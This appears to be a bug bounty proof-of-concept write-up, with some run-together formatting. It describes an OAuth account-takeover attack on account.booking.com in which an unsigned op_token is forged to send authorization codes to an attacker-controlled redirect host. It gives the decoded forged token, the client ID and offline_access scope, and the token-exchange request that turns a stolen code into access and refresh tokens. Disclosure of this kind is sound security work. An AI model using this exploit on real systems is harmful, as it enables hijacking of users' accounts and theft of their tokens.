Unsigned OAuth op_token → redirect_uri bypass → authorization code theft
op_token with redirect_uri=https://booking.givemebountys.xyz/stealaccount.booking.com login pageaccess_token + refresh_tokenoffline_access scope)The /oauth2/authorize/v3 endpoint validates redirect_uri strictly (rejects non-registered URIs with 400). It then serializes the validated request into a protobuf op_token and redirects to /sign-in?op_token=…. The op_token is not signed or MACed — an attacker forges one directly, bypassing the validation entirely.
/sign-in?op_token=<forged> → HTTP 200 (garbage → 400)"redirect_uri":"https://booking.givemebountys.xyz/steal"op_token (decoded){
"field_2": "oauth",
"field_4": {
"field_1_client_id": "vO1Kblk7xX9tUn2cpZLS",
"field_2_operation": "authorize",
"field_3_redirect_uri": "https://booking.givemebountys.xyz/steal",
"field_4_scope": "openid email profile offline_access",
"field_5_state": "booking_ato_poc",
"field_8_response_type": "code"
}
}
POST /oauth2/token/v2 HTTP/1.1 Host: account.booking.com Content-Type: application/x-www-form-urlencoded grant_type=authorization_code &code=STOLEN_CODE &client_id=vO1Kblk7xX9tUn2cpZLS &redirect_uri=https://booking.givemebountys.xyz/steal # No client_secret needed (public client) # No code_verifier needed (PKCE was not set)